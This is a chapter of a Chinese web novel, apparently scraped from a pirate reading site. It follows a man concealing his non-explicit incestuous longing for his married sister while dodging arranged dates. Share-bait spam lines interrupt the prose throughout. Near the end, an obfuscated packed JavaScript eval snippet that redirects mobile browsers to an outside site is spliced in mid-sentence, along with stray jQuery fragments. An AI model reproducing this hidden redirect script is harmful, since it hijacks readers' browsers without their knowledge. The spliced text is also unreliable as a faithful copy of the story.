第89章 番外 江阳(二)

作品:《夜雾与雪松

    “你不要管。


    同样的话,在许多年以后,程江阳又对李曼说了一遍。


    那时妹妹已经结婚,远在京城。


    李曼从国外回来,进了他办公室对面的外资银行上班。


    难得下班早,她顺路去看了看老同学。


    但程江阳没有忙完的迹象,他坐在办公室里,手边有几十份文件等着看。


    行程表里列着密密麻麻的事项,李曼扶着桌子,读了几秒就败下阵来,她说:“你创业到现在,都大老板了,还这么亲力亲为啊?像这种case,让手下人去做不好吗?


    “没事,我谈好了再交给他们。程江阳头也不抬地说。


    李曼在他对面坐下:“是怕自己太闲了吧,怎么说,打算后半辈子都交代给工作了,准备把公司开成跨国集团是吗?


    “开不了,我的英语不好,雅思五分都上不去。


    “......


    李曼被他冷到了一下。


    她说:“几点下班?老贾新开了个lounge,我们过去喝一杯?


    “等我半小时。程江阳看了一眼时间。


    李曼往椅子上一靠,跟他闲谈:“一眨眼,你妹妹都成家了,我去拜访叔叔阿姨的时候,看了她的结婚照,那子弟长得不错,听说还在挺强势的部门,她眼光老好的。


    “一般人能配得上她吗?程江阳说。


    李曼笑:“其实你更想说,只有你配得上她吧?


    “你不要管。程江阳的钢笔尖顿了下,洇开一小片墨。


    李曼好奇地问:“你妹妹结婚,你去现场了吗?


    程江阳点头:“江城那场避不掉,再躲我妹妹就要知道了。


    “那么谨慎。李曼同情地看着他,“亲眼看着她嫁给别人,什么感觉?


    程江阳哼笑了声:“想从宴会厅的窗户里跳下去。


    “西郊跳下去不是湖吗?


    “正好降降火。


    “......


    李曼在美国多年,说话也更放得开了,打趣说:“你这些年火都不小吧,怎么解决的?


    “啧。程江阳听不下去,“这是你一个女孩子该问的吗?


    “......


    终于忙完,他们一起走出办公室。


    合伙人看见李曼,眼睛像山坳子里的狼一样放光。


    他拉过程江阳:“哎,这谁啊?


    一道大学毕业,又一道开公司,还没见过谁能进程江阳的办公室,这事挺新鲜。


    程江阳说:“高中同桌,不过人家已经订了婚,你就别想了。


    “......不想就不想。


    程江阳取了车,按


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    导航开到了老贾新店的位置。


    人还没进去,先听见里面潺潺的交响乐。


    李曼说:“他还高雅起来了。


    “你有他那个家底,想怎么样都可以。


    程江阳走进去,手臂上挽了件西装,打招呼说:“老贾。


    “哟,这不是程老板吗?老贾赶紧放下手里的酒杯,过来照应,“今天吹什么风啊这是?


    “当然是我这阵风。李曼从旁边绕出来,“不然谁叫得动他?哎,你不是介绍妹妹给他吗?叫出来啊。


    程江阳皱了下眉:“无聊吗?就非得配个对,玩消消乐呢?


    “你好像很害怕。李曼说,“怎么了,对付不了一个二十出头的小姑娘?


    老贾扶他在椅子上坐下:“没那么邪门,就互相认识一下,拓宽一下圈子嘛。你也不小了,我们同学里,好像就你和李曼没结婚吧,但人家也有主了,只有你,到现在连个着落都不见,别说你爸妈了,连我都替你着急。


    小姑娘姓蒋,至于全名叫什么,程江阳没有听清,他光顾着喝酒了。


    小蒋很会说话,眼睛滴溜溜地在他身上转,像早就认识他。


    程江阳礼貌地应和着,其实没有听进去几句。


    他跟常联系的代驾发消息:「十点,麻烦准时来接我。」


    「好的。」


    今天要回家住,他不能太晚,会吵到父母休息。


    在小蒋试图靠过来,手搭上他胳膊的时候,程江阳站起来:“今天喝得差不多了,就到这里吧。


    “哎,怎么就差不多了。老贾在身后喊,“你回来。


    但程江阳已经推门出去。


    入秋了,夜里风大,梧桐叶一片片地掉,落在他脚边。


    他抬起头,看了一眼凋敝的树枝,江城的秋季也太短。


    不知道京城怎么样,是不是也降温了。


    程江阳打开手机,点开家庭群,上一条是程秋塘的三个点赞大拇指,再上一条是妹妹拍的照片,她刚整理好自己家里的书架,擦拭得一尘不染,发在群里求表扬。


    他笑了下,复制了爸爸的那一条发出去。


    隐匿在家人的身份后面,让他觉得安全。


    还好,他们四个人的小群里,暂时没有别人的身影。


    这样他还可以骗骗自己,妹妹只是去了北边读博,又留下当了老师。


    和那个人没什么关系,他们也没有在白水镇遇上,妹妹不属于他,也不会属于任何人。


    到家时,不止爸妈没睡,连奶奶都坐在摇椅上,目光慈爱地看他。


    “怎么了?程江阳换了鞋走进来,“还在开家庭会议?


    “对,你坐下。程秋塘指了指面前的沙发椅,


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    “我们要开你的批评会。


    钟**最先问:“阳阳,你到底什么时候才肯结婚?你妹妹晚上打电话来,她孩子都有了。


    孩......


    程江阳眼皮猛地跳了下。


    就有孩子了啊。


    他低下头,再抬起来时,笑了笑:“那蛮好,我要当舅舅了。


    “什么舅舅,谁说舅舅的事了。江枝意问,“你自己的打算呢?


    “妈,你不是最理解我们的吗?程江阳说。


    程秋塘说:“别再为难你妈了,你二十四我们理解,二十八也理解,三十多就难理解了,也根本理解不了!枝意,东西拿出来。


    江枝意早有准备,从靠垫后面拿出一沓照片,递给她婆婆。


    “你看,阳阳。钟**挑出几张她中意的,“这几个女孩子不错的,长得好看,学历也高,我们都替你了解过了,你去相相看。


    看今天这阵仗,不答应下来连觉都睡不了。


    程江阳随手抽了一张:“那就这个姑娘吧。


    “这个好。江枝意看了眼,“她叫林映雪,有点像你妹妹的名字,她妈妈是我同事,学声乐的,气质非常好。


    程秋塘满意地点头:“那就麻烦江教授安排一下。


    “没事。江枝意笑说,“只要儿子愿意,我安排几下都可以。


    钟**扶着老花镜,左看右看:“不止名字像,模样也有点像江雪呢,都挺乖的,快点谢谢你妈。


    “谢谢妈。程江阳有气无力地说。


    江枝意摆手:“不客气,你自己条件也好,你的照片啊,我也给人家父母看了,他们才愿意把女儿资料给我的。


    程江阳笑:“现在相亲市场还挺公开透明。


    “别说这些怪话了。程秋塘起身,“我们去休息,你也早点睡,别熬太晚。


    “好。


    上了楼,程江阳洗完澡也睡不着。


    这酒反而越喝越清醒了。


    他干脆起身,悄悄地进了妹妹房间,坐在她的椅子上。


    他没有上床的胆子,枕头里、被子里总像有她的气味,哪怕反复晾晒过多次。


    他可以在自己家的浴室里喘得很凶,但无法硬着头皮,在妹妹房间做一些腌臜事体,再艰难地处理掉。


    她结婚以后,这里一点变化也没有,还是按她在家时布置的。


    书桌上也全是她的小玩意。


    程江阳拿起一杯香薰,放在手心,用拇指蹭了蹭表面的灰。


    她喜欢这些精致美丽,但毫无用处的东西,读书也一样,喜欢华而不实胜过简单质朴。


    程江阳抽了本书,随便翻了几页,纸张里像有蝴蝶飞出来,柔软地包裹着他,没多久


    你的朋友正在书荒,快去帮帮他吧


    就看得犯困趴在桌上睡着了。


    **人生为什么会弄成这样子。


    要是十六岁那年没有听见那段谈话就好了他还是一个好哥哥


    当认知被重构身份的标签改变他开始用全新的视角审视过去所有的细节就像在岛上的那个午后他忽然意识到妹妹的头发是香的一种淡淡的、甜甜的香气。


    后来他试过很多种洗发水都难配出一模一样的味道。


    程江阳猜也许不是头发是她皮肤的香气。


    他想起程江雪看他的眼神有依赖、信任和亲昵。


    还有别的吗?**。


    程江阳只知道她靠近他的时候他的心跳会乱。


    班上那么多女孩子聪明的、漂亮的、活泼的没有一个人叫他这样。


    他厌恶自己的转变又无法控制这种转变。


    但有些界限一旦越过去就再也回不来了。


    程江阳只能这么做。


    从那以后她每一次叫他“哥”都像是一根刺扎在他心上提醒他失去了什么又得到了什么。


    茶室的光线很黯透过雕花木窗筛下来在桌面投出细碎花影。


    程江阳坐在那里等手指搭在茶杯的边沿慢慢地转。


    女孩子来晚了一直说对不起。


    “没关系。”程江阳起身招呼服务生再泡过一壶茶“我也没到很久。”


    林映雪的眼睛很亮像有无限的热情能迸发出来。


    她话也不少聊最近看的电影排的曲子甚至主动问起他的公司还说下次要去参观。


    “好。”程江阳点头“你想去的话下次我去学校接你。”


    “真的吗?”林映雪觉得奇怪“那我还挺幸运的江阿姨说你不太喜欢和异性打交道让我有个心理准备。”


    “什么准备?”


    “说不到五句话就撤的准备。”


    程江阳笑:“我妈是怕我表现太差提前给你打预防针。”


    “嗯这样万一表现得好可以让我开心我现在就很开心。”


    “开心就好。”程江阳温和而得体地说。


    林映雪从包里拿出两张票:“这周有一场展览我可以邀请你去看吗?”


    程江阳看了一眼:“瓷器吗?我不是很懂去了怕扫兴。”


    林映雪说:“你不懂我给你讲你要是个专家我还不请你去呢。”


    “那......好啊。”


    也许是她令人拒绝不了也许是叫她小雪的时候让他有种不知今夕何夕的兴奋可这个好字从口中说出来他听见自己心里轻微的碎裂声。


    接下来呢?


    你的朋友正在书荒,快去帮帮他吧


    他要去赴约,要对她关怀备至,要在双方父母的期待里,慢慢被推着往前走吗?


    而他爱着的人,会慢慢模糊,慢慢淡去,像褪色的老照片,最后只剩一个影子。


    林映雪就这样开始和他有联系。


    她在学校上班,时间很富余,常给他发消息。


    程江阳总是忙完才回一两条。


    林映雪朋友多,有一次约在他公司附近下午茶。


    闺蜜起哄,让她把男朋友叫出来,给大伙儿见见。


    林映雪红着脸拨了下头发:“还不是,我们又没有怎么样。”


    “这么慢啊。”朋友都奇怪,“你们这种条件相当,父母都了解,彼此也不排斥的,进度应该是飞快的呀。”


    “那我怎么知道?”林映雪嘟着唇抱怨,“也许他没看上我。”


    她试着给程江阳打电话:“喂,江阳哥?”


    “怎么了?”程江阳刚从会议室出来。


    林映雪说:“没事,就是我在你隔壁,我遇到点麻烦了,你能过来吗?”


    “好,马上。”


    程江阳放下文件就去了。


    但到那里时,只看见一群年轻靓丽的女孩子。


    林映雪被她们推来拱去,眼神里流露的都是羡慕,小声说,你男朋友好帅。


    她站起来,不好意思地说:“对不起啊,她们太想见你了,只能这样让你出来。”


    “没关系。”程江阳温和地说,“不过下次别说碰上麻烦,一个正常的,有责任感的人都会担心。”


    “哦,知道了。”


    程江阳替她们买了单,又回了公司。


    从那以后,他再也没赴过林小姐的约。


    某天夜里回家吃饭,江枝意问他:“今天小林来找我了,说你一下子变得对她很冷淡,是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949625|179753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是不打算处了?”


    “嗯,我和她合不来。”程江阳说。


    程秋塘说:“那你也要跟人家说清楚。”


    程江阳点头:“我正准备找她说,这几天太忙了。”


    江枝意叹了声气:“我还以为这次能成呢,高兴了半天。”


    “妈,别为我的事操心了。”程江阳也不再掩饰了,“我不想结婚,您就当我自私,不孝顺,脑子出问题了,总之别再给我介绍了,反而妨碍人家姑娘。”


    “为什么?”江枝意放下碗,“婚姻让你这么畏惧吗?”


    “对,我害怕。”程江阳承认,“我做不好一个丈夫,我连个儿子都做不好,也许只能当好一个老板。”


    他更怕他半夜醒来,看着枕边人静谧的睡颜,心里想着另外一个名字。


    这是对婚姻最无耻、最歹毒的背叛,比争吵还要伤人。


    程秋塘误解了他的想法:“事业心也太重了,我看你又


    你的朋友正在书荒,快去帮帮他吧


    开了几家餐厅,和你的公司也不搭边,钱挣多少才够啊?


    程江阳没作声。


    不知道是不是他太端正,演得太好。


    都没有人注意到,他那几家餐厅的地址,都是小时候妹妹爱吃的馆子,它们因为经营不善面临倒闭,是程江阳掏钱盘下来,开成会员制的私厨。


    江枝意拉了下丈夫:“别说他了,孩子大了有自己的想法,不要勉强他。


    程江阳笑说:“谢谢妈。


    “你老了怎么办哦!江枝意不跟他笑,狠狠瞪了一眼。


    程江阳说:“我不是挣钱吗?以后开家养老院算了,股东总不会受亏待。


    “......


    没等程江阳去找林映雪,她先上了门。


    她等在程江阳家楼下,被门禁拦在外面。


    他下班太晚,出现在家门口时,林映雪都累得蹲在地上。


    她仰起头看他:“你终于回来了。


    “来。程江阳伸手拉了她一把,“地上凉。


    林映雪蹦了起来,朝他笑:“上次是我不对,我跟你道歉,你别生气了,好不好?


    程江阳努力地想了想:“上次是哪次?我不记得生过你的气。


    原来他根本不是因为这个。


    如果是其他问题,林映雪心里更慌。


    她说:“没哪次,我就想问,下周我们去秋游吧,叫上父母一起?


    “不了,下周我要出差。程江阳说。


    他开了门,放下手里的公文包,又出来。


    林映雪没被邀请进去,她问:“你要走了吗?


    程江阳点头:“对,太晚了,送你回家。


    “我想和你聊聊。林映雪咬了咬唇,迎上他的目光,“说实话,江阳哥,我对你印象很好,说是喜欢都不过分。现在已经很少能找到你这样,圈子干净,又踏实沉稳的男人了,我觉得我们可以进一步发展下去,那......你的意思呢?


    程江阳仍然很平静:“对不起小雪,我可能要让你失望了。


    “你不喜欢我?林映雪又靠近了他一点。


    程江阳说:“不是你,我喜欢不上任何人。


    显然,林映雪的思路偏轨了,她睁大了眼:“你是说,你其实喜欢......


    “你想多了。程江阳打断她,“和你见面,是迫于家庭压力,事后我感到后悔,不应该浪费你的时间,抱歉。


    林映雪懂了,说上这么多,无非就是不喜欢,男人是最会推脱的,他只不过推脱得诚恳一点。


    她点头,声音忽而变得冷硬,但仍维持着礼貌:“算了,我也耽误了你的时间,再见。


    “我送你。程江阳说,“太晚了,你一个


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    人不安全。”


    “那麻烦你了。”


    “不用客气。”


    第二年,程江雪当了妈妈。


    从得到消息起,程秋塘就在收拾东西,准备去京里看女儿。


    程江阳忙了一天,到傍晚回家都昏昏沉沉。


    “阳阳,明天周六,我们一起去看你妹妹,你小外甥出生了。”程秋塘对他说。


    程江阳脑子里炸了一声,更痛了。


    他点头:“哦,般般还好吗?”


    “好,母子平安。”江枝意折着她买的小衣服,“我都等不及要看外孙了,不知道长得像谁,最好是像咱们家的人。”


    “我看难。”程秋塘说,“儿子像爸爸的多。”


    “你根本不懂,明明像妈妈多。”


    程江阳没有参与讨论,他脚步沉重地上了楼。


    京里的夏天很热,白杨树疯了似的绿着,叶子在太阳底下反着光。


    程江阳和父母打医院楼下过,被晃得睁不开眼。


    进了病房,他看见妹妹靠在床头,头发松松地挽着,比刚结婚时,又添了几分丰艳。


    周覆弯着腰在逗孩子,手指头被他们的儿子攥着,他整个人像被那点小力气牵绊住了,动都动不了。


    “你看,他一直拉我。”他抬头对妻子说,“不用说,以后肯定亲我,听我的话。”


    “不管是谁,他都会拉的好不好?”程江雪瞥了他一眼。


    再抬头时,看见父母和哥哥进来,笑着招手:“爸爸妈妈,哥,你们来了呀。”


    “爸,妈。”周覆也抬头,朝他们致意,“快坐。”


    江枝意坐到床头,端详着女儿:“小囡也当妈妈了。”


    “对呀,你都做外婆了。”程江雪说。


    程秋塘非要提:“就是还没当上奶奶,你哥总不愿结婚。”


    “理解。”程江雪笑,“程老板身价高嘛,和我们不一样。”


    “你就会编排我。”程江阳站在床边,笑着问,“恢复得怎么样了?”


    “挺好。”


    周覆用湿巾擦着手:“大舅哥是公司太忙了,没那个时间吧。”


    “谁知道呢。”程江阳朝他笑了下,“总归你的福气比我好。”


    他心里那点酸涩又化开了,压在舌根底下,不吐不快。


    江枝意说:“你哪没福气了,是你自己不要。”


    “好,是我不要。”程江阳抬了下手,“我出去站会儿,抽根烟。”


    他放下果篮,只剩一手的虚空,在这个滚烫的、茂盛的,却和他毫无关系的夏天里。